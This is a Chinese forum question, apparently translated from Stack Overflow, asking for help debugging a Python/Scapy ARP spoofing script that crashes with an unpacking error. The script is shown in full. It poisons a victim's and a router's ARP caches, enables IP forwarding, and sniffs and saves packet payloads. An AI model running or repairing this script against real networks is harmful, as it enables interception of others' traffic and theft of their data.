ValueError:需要0个以上的值才能解包(我的ARP欺骗程序出错)

2024-04-24 19:39:51 发布

您现在位置:Python中文网/ 问答频道 /正文

我最近一直在研究ARP和ARP欺骗。我在用python编写的ARP欺骗脚本中遇到以下错误:

OSError:表达式拒绝所有数据包

可能的重要信息:

  1. 我在运行OS X El Capitan 10.11.5。你知道吗
  2. 该脚本仅在使用python-2.x时有效

这是我的密码:

import os
import sys
from scapy.all import *



interface = raw_input("interface: \n")
victimIP  = raw_input("victim: \n")
routerIP  = raw_input("router: \n")



def MACsnag(IP):
    ans, unans = arping(IP)
    for s, r in ans:
        return r[Ether].src



def spoof(routerIP, victimIP):
    victimMAC = MACsnag(victimIP)
    routerMAC = MACsnag(routerIP)
    send(ARP(op = 2, pdst = victimIP, psrc = routerIP, hwdst = 
victimMAC))
    send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst = 
routerMAC))



def restore(routerIP, victimIP):
    victimMAC = MACsnag(victimIP)
    routerMAC = MACsnag(routerIP)
    send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst = 
"ff:ff:ff:ff:ff:ff", hwsrc = victimMAC), count = 4)
    send(ARP(op = 2, pdst = victimIP, psrc = routerIP, hwdst = 
"ff:ff:ff:ff:ff:ff", hwsrc = routerMAC), count = 4)



def sniffer():
    pkts = sniff(iface = interface, count = 10, prn = lambda 
x:x.sprintf(" Source: %IP.src% : %Ether.src%, \n %Raw.load% \n\n 
Reciever: %IP.dst% \n 
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n"))
    wrpcap("temp.pcap", pkts)



def middleman():
    os.system("sysctl -w net.inet.ip.forwarding=1")
    while 1:
        try:
            spoof(routerIP, victimIP)
            time.sleep(1)
            sniffer()
        except KeyboardInterrupt:
            restore(routerIP, victimIP)
            os.system("sysctl -w net.inet.ip.forwarding=0")



if __name__ == "__main__":
    middleman()

以下是完整的堆栈跟踪:

Received 0 packets, got 0 answers, remaining 1 packets
Traceback (most recent call last):
  File "snoopy.py", line 56, in <module>
    middleman()
  File "snoopy.py", line 46, in middleman
    spoof(routerIP, victimIP)
  File "snoopy.py", line 21, in spoof
    victimMAC = MACsnag(victimIP)
  File "snoopy.py", line 15, in MACsnag
    for s, r in ans:
ValueError: need more than 0 values to unpack

Tags: inipsenddefffarpopspoof